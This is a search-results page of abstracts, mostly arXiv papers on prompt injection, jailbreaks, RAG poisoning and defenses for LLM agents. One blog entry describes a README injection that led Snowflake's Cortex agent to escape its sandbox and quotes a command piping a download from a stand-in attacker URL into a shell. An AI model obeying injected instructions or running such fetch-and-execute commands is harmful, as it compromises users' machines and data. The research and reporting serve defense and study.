Results for “Prompt”

arXiv (research papers) Yilin Xiao SI

LogicPoison: Logical Attacks on Graph Retrieval-Augmented Generation

Graph-based Retrieval-Augmented Generation (GraphRAG) enhances the reasoning capabilities of Large Language Models (LLMs) by grounding their responses in structured knowledge graphs. Leveraging community detection and relation filtering techniques, GraphRAG systems demonstrate inherent resistance to traditional RAG attacks, such as text poisoning and prompt injection. However, in this paper, we find that the security of GraphRAG systems fundamentally relies on the…

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arXiv (research papers) Bowen Wei SI

ClawSafety: "Safe" LLMs, Unsafe Agents

Personal AI agents like OpenClaw run with elevated privileges on users' local machines, where a single successful prompt injection can leak credentials, redirect financial transactions, or destroy files. This threat goes well beyond conventional text-level jailbreaks, yet existing safety evaluations fall short: most test models in isolated chat settings, rely on synthetic environments, and do not account for how the agent framework itself shapes safety outcomes. We introduce…

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arXiv (research papers) Yanting Wang SI

AgentWatcher: A Rule-based Prompt Injection Monitor

Large language models (LLMs) and their applications, such as agents, are highly vulnerable to prompt injection attacks. State-of-the-art prompt injection detection methods have the following limitations: (1) their effectiveness degrades significantly as context length increases, and (2) they lack explicit rules that define what constitutes prompt injection, causing detection decisions to be implicit, opaque, and difficult to reason about. In this work, we propose…

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arXiv (research papers) Cormac Guerin SI

KAIJU: An Executive Kernel for Intent-Gated Execution of LLM Agents

Tool-calling autonomous agents based on large language models using ReAct exhibit three limitations: serial latency, quadratic context growth, and vulnerability to prompt injection and hallucination. Recent work moves towards separating planning from execution but in each case the model remains coupled to the execution mechanics. We introduce a system-level abstraction for LLM agents which decouples the execution of agent workflows from the LLM reasoning layer. We define two…

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arXiv (research papers) Chong Xiang SI

Architecting Secure AI Agents: Perspectives on System-Level Defenses Against Indirect Prompt Injection Attacks

AI agents, predominantly powered by large language models (LLMs), are vulnerable to indirect prompt injection, in which malicious instructions embedded in untrusted data can trigger dangerous agent actions. This position paper discusses our vision for system-level defenses against indirect prompt injection attacks. We articulate three positions: (1) dynamic replanning and security policy updates are often necessary for dynamic tasks and realistic environments; (2) certain…

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arXiv (research papers) Meiwen Ding SI

Covert Visual Prompt Injection against Commercial Multimodal Large Language Models

Although multimodal large language models (MLLMs) are increasingly deployed in real-world applications, their instruction-following behavior leaves them vulnerable to prompt injection attacks. Existing prompt injection methods predominantly rely on textual prompts or perceptible visual prompts that are observable by human users. In this work, we study imperceptible visual prompt injection against powerful closed-source MLLMs, where adversarial instructions are embedded in…

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arXiv (research papers) Haochuan Kevin Wang SI

Kill-Chain Canaries: Stage-Level Tracking of Prompt Injection Across Attack Surfaces and Five Production LLMs

Multi-agent LLM systems now read documents, web pages and tool results on behalf of users, yet their resistance to prompt injection is usually reported as one number: did the attack succeed? We introduce a kill-chain canary method that plants a unique token in every injected payload and records the furthest of four stages it reaches (Exposed -> Persisted -> Relayed -> Executed), across 950 runs, five production LLMs, six attack surfaces, and five defense conditions. Exposure…

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Journal articles (OpenAlex) Hidetaka Yoshimatsu · Japanese Journal of Political Science Geopolitics

Policy emulation and vested interests: Japan’s strategic response to economic security amid US–China technology competition

Abstract China’s growing technological power and the resulting US–China rivalry prompted various countries, including Japan, to adopt necessary countermeasures. This study examines Japan’s strategic approach to economic security and technology policy under the framework of policy emulation and vested interests. The US–China technology competition urged Japan to reformulate its technological strategies with the aim of reducing economic dependence on China. Japan’s policy…

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arXiv (research papers) Alexandre Cristovão Maiorano SI

Evaluating Prompt Injection Defenses for Educational LLM Tutors: Security-Usability-Latency Trade-offs

Educational LLM tutors face a core AI alignment challenge: they must follow user intent while preserving pedagogical constraints and safety policies. We present an evaluation methodology for prompt-injection defenses in this setting, showing that guardrail design entails explicit trade-offs among adversarial robustness, benign-task usability, and response latency. We evaluate a domain-specific multi-layer safeguard pipeline combining deterministic pattern filters, structural…

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arXiv (research papers) Haoyu Wang SI

SafeClaw-R: Towards Safe and Secure Multi-Agent Personal Assistants

LLM-based multi-agent systems (MASs) are transforming personal productivity by autonomously executing complex, cross-platform tasks. Frameworks such as OpenClaw demonstrate the potential of locally deployed agents integrated with personal data and services, but this autonomy introduces significant safety and security risks. Unintended actions from LLM reasoning failures can cause irreversible harm, while prompt injection attacks may exfiltrate credentials or compromise the…

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arXiv (research papers) Hieu Xuan Le SI

Prompt Attack Detection with LLM-as-a-Judge and Mixture-of-Models

Prompt attacks, including jailbreaks and prompt injections, pose a critical security risk to Large Language Model (LLM) systems. In production, guardrails must mitigate these attacks under strict low-latency constraints, resulting in a deployment gap in which lightweight classifiers and rule-based systems struggle to generalize under distribution shift, while high-capacity LLM-based judges remain too slow or costly for live enforcement. In this work, we examine whether…

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arXiv (research papers) Haozhen Wang SI

PIDP-Attack: Combining Prompt Injection with Database Poisoning Attacks on Retrieval-Augmented Generation Systems

Large Language Models (LLMs) have demonstrated remarkable performance across a wide range of applications. However, their practical deployment is often hindered by issues such as outdated knowledge and the tendency to generate hallucinations. To address these limitations, Retrieval-Augmented Generation (RAG) systems have been introduced, enhancing LLMs with external, up-to-date knowledge sources. Despite their advantages, RAG systems remain vulnerable to adversarial attacks…

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arXiv (research papers) Alexander Panfilov SI

Claudini: Autoresearch Discovers State-of-the-Art Adversarial Attack Algorithms for LLMs

We show that AI agents are capable of discovering novel algorithms for adversarial attacks against LLMs, advancing the state of the art on white-box jailbreaking and prompt injection evaluations. We deploy frontier agents, such as Claude Code and Codex, in an autoresearch loop with access to a library of 30+ prior methods and an evaluation script with a fixed compute budget. We show this pipeline to be effective in jailbreaking OpenAI's GPT-OSS-Safeguard-20B and in prompt…

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arXiv (research papers) Yulin Shen SI

Invisible Threats from Model Context Protocol: Generating Stealthy Injection Payload via Tree-based Adaptive Search

Recent advances in the Model Context Protocol (MCP) have enabled large language models (LLMs) to invoke external tools with unprecedented ease. This creates a new class of powerful and tool augmented agents. Unfortunately, this capability also introduces an under explored attack surface, specifically the malicious manipulation of tool responses. Existing techniques for indirect prompt injection that target MCP suffer from high deployment costs, weak semantic coherence, or…

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arXiv (research papers) Qianlong Lan SI

The Cognitive Firewall:Securing Browser Based AI Agents Against Indirect Prompt Injection Via Hybrid Edge Cloud Defense

Deploying large language models (LLMs) as autonomous browser agents exposes a significant attack surface in the form of Indirect Prompt Injection (IPI). Cloud-based defenses can provide strong semantic analysis, but they introduce latency and raise privacy concerns. We present the Cognitive Firewall, a three-stage split-compute architecture that distributes security checks across the client and the cloud. The system consists of a local visual Sentinel, a cloud-based Deep…

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arXiv (research papers) Ali Dehghantanha SI

SoK: The Attack Surface of Agentic AI - Tools and Autonomy

Recent AI systems combine large language models with tools, external knowledge via retrieval-augmented generation (RAG), and even autonomous multi-agent decision loops. This agentic AI paradigm greatly expands capabilities - but also vastly enlarges the attack surface. In this systematization, we map out the trust boundaries and security risks of agentic LLM-based systems. We develop a comprehensive taxonomy of attacks spanning prompt-level injections, knowledge-base…

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arXiv (research papers) Michael Hind SI

LLMON: An LLM-native Markup Language to Leverage Structure and Semantics at the LLM Interface

Textual Large Language Models (LLMs) provide a simple and familiar interface: a string of text is used for both input and output. However, the information conveyed to an LLM often has a richer structure and semantics, which is not conveyed in a string. For example, most prompts contain both instructions ("Summarize this paper into a paragraph") and data (the paper to summarize), but these are usually not distinguished when passed to the model. This can lead to model…

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arXiv (research papers) Charoes Huang SI

Model Context Protocol Threat Modeling and Analyzing Vulnerabilities to Prompt Injection with Tool Poisoning

The Model Context Protocol (MCP) has rapidly emerged as a universal standard for connecting AI assistants to external tools and data sources. While MCP simplifies integration between AI applications and various services, it introduces significant security vulnerabilities, particularly on the client side. In this work we conduct threat modelings of MCP implementations using STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of…

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arXiv (research papers) Charoes Huang SI

Are AI-assisted Development Tools Immune to Prompt Injection?

Prompt injection is listed as the number-one vulnerability class in the OWASP Top 10 for LLM Applications that can subvert LLM guardrails, disclose sensitive data, and trigger unauthorized tool use. Developers are rapidly adopting AI-assisted development tools built on the Model Context Protocol (MCP). However, their convenience comes with security risks, especially prompt-injection attacks delivered via tool-poisoning vectors. While prior research has studied prompt…

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arXiv (research papers) Abed K. Musaffar SI

Detection of adversarial intent in Human-AI teams using LLMs

Large language models (LLMs) are increasingly deployed in human-AI teams as support agents for complex tasks such as information retrieval, programming, and decision-making assistance. While these agents' autonomy and contextual knowledge enables them to be useful, it also exposes them to a broad range of attacks, including data poisoning, prompt injection, and even prompt engineering. Through these attack vectors, malicious actors can manipulate an LLM agent to provide…

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arXiv (research papers) Shawn Li SI

The Autonomy Tax: Defense Training Breaks LLM Agents

Large language model (LLM) agents increasingly rely on external tools (file operations, API calls, database transactions) to autonomously complete complex multi-step tasks. Practitioners deploy defense-trained models to protect against prompt injection attacks that manipulate agent behavior through malicious observations or retrieved content. We reveal a fundamental \textbf{capability-alignment paradox}: defense training designed to improve safety systematically destroys…

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arXiv (research papers) Md Takrim Ul Alam SI

Prompt Control-Flow Integrity: A Priority-Aware Runtime Defense Against Prompt Injection in LLM Systems

Large language models (LLMs) deployed behind APIs and retrieval-augmented generation (RAG) stacks are vulnerable to prompt injection attacks that may override system policies, subvert intended behavior, and induce unsafe outputs. Existing defenses often treat prompts as flat strings and rely on ad hoc filtering or static jailbreak detection. This paper proposes Prompt Control-Flow Integrity (PCFI), a priority-aware runtime defense that models each request as a structured…

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Simon Willison SI

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed. The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README. The attack caused the agent to execute this code: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) Cortex listed cat commands as safe to run without human…

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arXiv (research papers) Vanshaj Khattar SI

Amplification Effects in Test-Time Reinforcement Learning: Safety and Reasoning Vulnerabilities

Test-time training (TTT) has recently emerged as a promising method to improve the reasoning abilities of large language models (LLMs), in which the model directly learns from test data without access to labels. However, this reliance on test data also makes TTT methods vulnerable to harmful prompt injections. In this paper, we investigate safety vulnerabilities of TTT methods, where we study a representative self-consistency-based test-time learning method: test-time…

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arXiv (research papers) Mateusz Dziemian SI

How Vulnerable Are AI Agents to Indirect Prompt Injections? Insights from a Large-Scale Public Competition

LLM based agents are increasingly deployed in high stakes settings where they process external data sources such as emails, documents, and code repositories. This creates exposure to indirect prompt injection attacks, where adversarial instructions embedded in external content manipulate agent behavior without user awareness. A critical but underexplored dimension of this threat is concealment: since users tend to observe only an agent's final response, an attack can conceal…

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arXiv (research papers) Zijian Ling SI

Sirens' Whisper: Inaudible Near-Ultrasonic Jailbreaks of Speech-Driven LLMs

Speech-driven large language models (LLMs) are increasingly accessed through speech interfaces, introducing new security risks via open acoustic channels. We present Sirens' Whisper (SWhisper), the first practical framework for covert prompt-based attacks against speech-driven LLMs under realistic black-box conditions using commodity hardware. SWhisper enables robust, inaudible delivery of arbitrary target baseband audio-including long and structured prompts-on commodity…

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arXiv (research papers) Chenlong Yin SI

PISmith: Reinforcement Learning-based Red Teaming for Prompt Injection Defenses

Prompt injection poses serious security risks to real-world LLM applications, particularly autonomous agents. Although many defenses have been proposed, their robustness against adaptive attacks remains insufficiently evaluated, potentially creating a false sense of security. In this work, we propose PISmith, a reinforcement learning (RL)-based red-teaming framework that systematically assesses existing prompt-injection defenses by training an attack LLM to optimize injected…

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arXiv (research papers) Darren Cheng SI

Agent Privilege Separation in OpenClaw: A Structural Defense Against Prompt Injection

Prompt injection remains one of the most practical attack vectors against LLM-integrated applications. We replicate the Microsoft LLMail-Inject benchmark (Greshake et al., 2024) against current generation models running inside OpenClaw, an open source multitool agent platform. Our proposed defense combines two mechanisms: agent isolation, implemented as a privilege separated two-agent pipeline with tool partitioning, and JSON formatting, which produces structured output that…

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arXiv (research papers) J Alex Corll SI

The Mirror Design Pattern: Strict Data Geometry over Model Scale for Prompt Injection Detection

Prompt injection defenses are often framed as semantic understanding problems and delegated to increasingly large neural detectors. For the first screening layer, however, the requirements are different: the detector runs on every request and therefore must be fast, deterministic, non-promptable, and auditable. We introduce Mirror, a data-curation design pattern that organizes prompt injection corpora into matched positive and negative cells so that a classifier learns…

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arXiv (research papers) Frank Li SI

OpenClaw PRISM: A Zero-Fork, Defense-in-Depth Runtime Security Layer for Tool-Augmented LLM Agents

Tool-augmented LLM agents introduce security risks that extend beyond user-input filtering, including indirect prompt injection through fetched content, unsafe tool execution, credential leakage, and tampering with local control files. We present OpenClaw PRISM, a zero-fork runtime security layer for OpenClaw-based agent gateways. PRISM combines an in-process plugin with optional sidecar services and distributes enforcement across ten lifecycle hooks spanning message…

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